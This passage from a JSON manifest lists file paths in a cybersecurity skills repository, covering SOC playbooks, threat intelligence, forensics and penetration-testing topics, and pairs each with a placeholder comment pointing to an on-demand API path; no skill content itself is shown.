/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fapi-reference.md -->","skills/building-phishing-reporting-button-workflow/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fstandards.md -->","skills/building-phishing-reporting-button-workflow/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-phishing-reporting-button-workflow%2Freferences%2Fworkflows.md -->","skills/building-ransomware-playbook-with-cisa-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ransomware-playbook-with-cisa-framework%2FSKILL.md -->","skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-ransomware-playbook-with-cisa-framework%2Freferences%2Fapi-reference.md -->","skills/building-red-team-c2-infrastructure-with-havoc/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2FSKILL.md -->","skills/building-red-team-c2-infrastructure-with-havoc/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Fassets%2Ftemplate.md -->","skills/building-red-team-c2-infrastructure-with-havoc/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fapi-reference.md -->","skills/building-red-team-c2-infrastructure-with-havoc/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fstandards.md -->","skills/building-red-team-c2-infrastructure-with-havoc/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-red-team-c2-infrastructure-with-havoc%2Freferences%2Fworkflows.md -->","skills/building-role-mining-for-rbac-optimization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2FSKILL.md -->","skills/building-role-mining-for-rbac-optimization/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Fassets%2Ftemplate.md -->","skills/building-role-mining-for-rbac-optimization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fapi-reference.md -->","skills/building-role-mining-for-rbac-optimization/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fstandards.md -->","skills/building-role-mining-for-rbac-optimization/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-role-mining-for-rbac-optimization%2Freferences%2Fworkflows.md -->","skills/building-soc-escalation-matrix/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2FSKILL.md -->","skills/building-soc-escalation-matrix/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Fassets%2Ftemplate.md -->","skills/building-soc-escalation-matrix/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fapi-reference.md -->","skills/building-soc-escalation-matrix/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fstandards.md -->","skills/building-soc-escalation-matrix/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-escalation-matrix%2Freferences%2Fworkflows.md -->","skills/building-soc-metrics-and-kpi-tracking/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-metrics-and-kpi-tracking%2FSKILL.md -->","skills/building-soc-metrics-and-kpi-tracking/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-metrics-and-kpi-tracking%2Freferences%2Fapi-reference.md -->","skills/building-soc-playbook-for-ransomware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-playbook-for-ransomware%2FSKILL.md -->","skills/building-soc-playbook-for-ransomware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-soc-playbook-for-ransomware%2Freferences%2Fapi-reference.md -->","skills/building-super-timelines-with-plaso/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2FSKILL.md -->","skills/building-super-timelines-with-plaso/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2Freferences%2Fapi-reference.md -->","skills/building-super-timelines-with-plaso/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-super-timelines-with-plaso%2Freferences%2Fstandards.md -->","skills/building-threat-actor-profile-from-osint/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-actor-profile-from-osint%2FSKILL.md -->","skills/building-threat-actor-profile-from-osint/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-actor-profile-from-osint%2Freferences%2Fapi-reference.md -->","skills/building-threat-feed-aggregation-with-misp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-feed-aggregation-with-misp%2FSKILL.md -->","skills/building-threat-feed-aggregation-with-misp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-feed-aggregation-with-misp%2Freferences%2Fapi-reference.md -->","skills/building-threat-hunt-hypothesis-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2FSKILL.md -->","skills/building-threat-hunt-hypothesis-framework/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Fassets%2Ftemplate.md -->","skills/building-threat-hunt-hypothesis-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fapi-reference.md -->","skills/building-threat-hunt-hypothesis-framework/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fstandards.md -->","skills/building-threat-hunt-hypothesis-framework/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-hunt-hypothesis-framework%2Freferences%2Fworkflows.md -->","skills/building-threat-intelligence-enrichment-in-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2FSKILL.md -->","skills/building-threat-intelligence-enrichment-in-splunk/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Fassets%2Ftemplate.md -->","skills/building-threat-intelligence-enrichment-in-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fapi-reference.md -->","skills/building-threat-intelligence-enrichment-in-splunk/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fstandards.md -->","skills/building-threat-intelligence-enrichment-in-splunk/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-enrichment-in-splunk%2Freferences%2Fworkflows.md -->","skills/building-threat-intelligence-feed-integration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-feed-integration%2FSKILL.md -->","skills/building-threat-intelligence-feed-integration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-feed-integration%2Freferences%2Fapi-reference.md -->","skills/building-threat-intelligence-platform/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2FSKILL.md -->","skills/building-threat-intelligence-platform/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Fassets%2Ftemplate.md -->","skills/building-threat-intelligence-platform/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fapi-reference.md -->","skills/building-threat-intelligence-platform/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fstandards.md -->","skills/building-threat-intelligence-platform/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-threat-intelligence-platform%2Freferences%2Fworkflows.md -->","skills/building-vulnerability-aging-and-sla-tracking/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2FSKILL.md -->","skills/building-vulnerability-aging-and-sla-tracking/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Fassets%2Ftemplate.md -->","skills/building-vulnerability-aging-and-sla-tracking/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fapi-reference.md -->","skills/building-vulnerability-aging-and-sla-tracking/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fstandards.md -->","skills/building-vulnerability-aging-and-sla-tracking/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-aging-and-sla-tracking%2Freferences%2Fworkflows.md -->","skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2FSKILL.md -->","skills/building-vulnerability-dashboard-with-defectdojo/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Fassets%2Ftemplate.md -->","skills/building-vulnerability-dashboard-with-defectdojo/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fapi-reference.md -->","skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fstandards.md -->","skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fworkflows.md -->","skills/building-vulnerability-exception-tracking-system/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2FSKILL.md -->","skills/building-vulnerability-exception-tracking-system/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Fassets%2Ftemplate.md -->","skills/building-vulnerability-exception-tracking-system/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fapi-reference.md -->","skills/building-vulnerability-exception-tracking-system/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fstandards.md -->","skills/building-vulnerability-exception-tracking-system/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fworkflows.md -->","skills/building-vulnerability-scanning-workflow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-scanning-workflow%2FSKILL.md -->","skills/building-vulnerability-scanning-workflow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-scanning-workflow%2Freferences%2Fapi-reference.md -->","skills/bypassing-authentication-with-forced-browsing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbypassing-authentication-with-forced-browsing%2FSKILL.md -->","skills/bypassing-authentication-with-forced-browsing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbypassing-authentication-with-forced-browsing%2Freferences%2Fapi-reference.md -->","skills/coercing-authentication-with-coercer-petitpotam/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2FSKILL.md -->","skills/coercing-authentication-with-coercer-petitpotam/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2Freferences%2Fapi-reference.md -->","skills/coercing-authentication-with-coercer-petitpotam/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2Freferences%2Fstandards.md -->","skills/collecting-indicators-of-compromise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-indicators-of-compromise%2FSKILL.md -->","skills/collecting-indicators-of-compromise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-indicators-of-compromise%2Freferences%2Fapi-reference.md -->","skills/collecting-open-source-intelligence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-open-source-intelligence%2FSKILL.md -->","skills/collecting-open-source-intelligence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-open-source-intelligence%2Freferences%2Fapi-reference.md -->","skills/collecting-threat-intelligence-with-misp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2FSKILL.md -->","skills/collecting-threat-intelligence-with-misp/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Fassets%2Ftemplate.md -->","skills/collecting-threat-intelligence-with-misp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fapi-reference.md -->","skills/collecting-threat-intelligence-with-misp/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fstandards.md -->","skills/collecting-threat-intelligence-with-misp/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fworkflows.md -->","skills/collecting-volatile-evidence-from-compromised-host/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2FSKILL.md -->","skills/collecting-volatile-evidence-from-compromised-host/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Fassets%2Ftemplate.md -->","skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fapi-reference.md -->","skills/collecting-volatile-evidence-from-compromised-host/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fstandards.md -->","skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fworkflows.md -->","skills/conducting-api-security-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-api-security-testing%2FSKILL.md -->","skills/conducting-api-security-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-api-security-testing%2Freferences%2Fapi-reference.md -->","skills/conducting-cloud-incident-response/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-incident-response%2FSKILL.md -->","skills/conducting-cloud-incident-response/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-incident-response%2Freferences%2Fapi-reference.md -->","skills/conducting-cloud-penetration-testing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-penetration-testing%2FSKILL.md -->","skills/conducting-cloud-penetration-testing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-penetration-testing%2Freferences%2Fapi-reference.md -->","skills/conducting-cyber-risk-assessment-with-nist-800-30/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2FSKILL.md -->","skills/conducting-cyber-risk-assessment-with-nist-800-30/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2Fassets%2Ftemplate.md -->","skills/conducting-cyber-risk-assessment-with-nist-800-30/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2Freferences%2Fstandards.md -->","skills/conducting-domain-persistence-with-dcsync/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2FSKILL.md -->","skills/conducting-domain-persistence-with-dcsync/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Fassets%2Ftemplate.md -->","skills/conducting-domain-persistence-with-dcsync/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fapi-reference.md -->","skills/conducting-domain-persistence-with-dcsync/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fstandards.md -->","skills/conducting-domain-persistence-with-dcsync/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Freferences%2Fworkflows.md -->","skills/conducting-external-reconnaissance-with-osint/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-external-reconnaissance-with-osint%2FSKILL.md -->","skills/conducting-external-reconnaissance-with-osint/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-external-reconnaissance-with-osint%2Freferences%2Fapi-reference.md -->","skills/conducting-full-scope-red-team-engagement/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2FSKILL.md -->","skills/conducting-full-scope-red-team-engagement/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Fassets%2Ftemplate.md -->","skills/conducting-full-scope-red-team-engagement/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fapi-reference.md -->","skills/conducting-full-scope-red-team-engagement/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fstandards.md -->","skills/conducting-full-scope-red-team-engagement/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-full-scope-red-team-engagement%2Freferences%2Fworkflows.md -->","skills/conducting-gdpr-compliance-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2FSKILL.md -->","skills/conducting-gdpr-compliance-assessment/assets/compliance-scorecard.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Fassets%2Fcompliance-scorecard.md -->","skills/conducting-gdpr-compliance-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fapi-reference.md -->","skills/conducting-gdpr-compliance-assessment/references/detailed-workflow.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fdetailed-workflow.md -->","skills/conducting-gdpr-compliance-assessment/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-gdpr-compliance-assessment%2Freferences%2Fstandards.md -->","skills/conducting-internal-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2FSKILL.md -->","skills/conducting-internal-network-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Fassets%2Ftemplate.md -->","skills/conducting-internal-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/conducting-internal-network-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fstandards.md -->","skills/conducting-internal-network-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-network-penetration-test%2Freferences%2Fworkflows.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2FSKILL.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Fassets%2Ftemplate.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fapi-reference.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fstandards.md -->","skills/conducting-internal-reconnaissance-with-bloodhound-ce/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-internal-reconnaissance-with-bloodhound-ce%2Freferences%2Fworkflows.md -->","skills/conducting-malware-incident-response/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-malware-incident-response%2FSKILL.md -->","skills/conducting-malware-incident-response/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-malware-incident-response%2Freferences%2Fapi-reference.md -->","skills/conducting-man-in-the-middle-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-man-in-the-middle-attack-simulation%2FSKILL.md -->","skills/conducting-man-in-the-middle-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-man-in-the-middle-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/conducting-memory-forensics-with-volatility/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-memory-forensics-with-volatility%2FSKILL.md -->","skills/conducting-memory-forensics-with-volatility/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-memory-forensics-with-volatility%2Freferences%2Fapi-reference.md -->","skills/conducting-mobile-app-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-mobile-app-penetration-test%2FSKILL.md -->","skills/conducting-mobile-app-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-mobile-app-penetration-test%2Freferences%2Fapi-reference.md -->","skills/conducting-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-network-penetration-test%2FSKILL.md -->","skills/conducting-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/conducting-pass-the-ticket-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-pass-the-ticket-attack%2FSKILL.md -->","skills/conducting-pass-the-ticket-attack/assets/template.md":"<!-- Skill available on-demand via 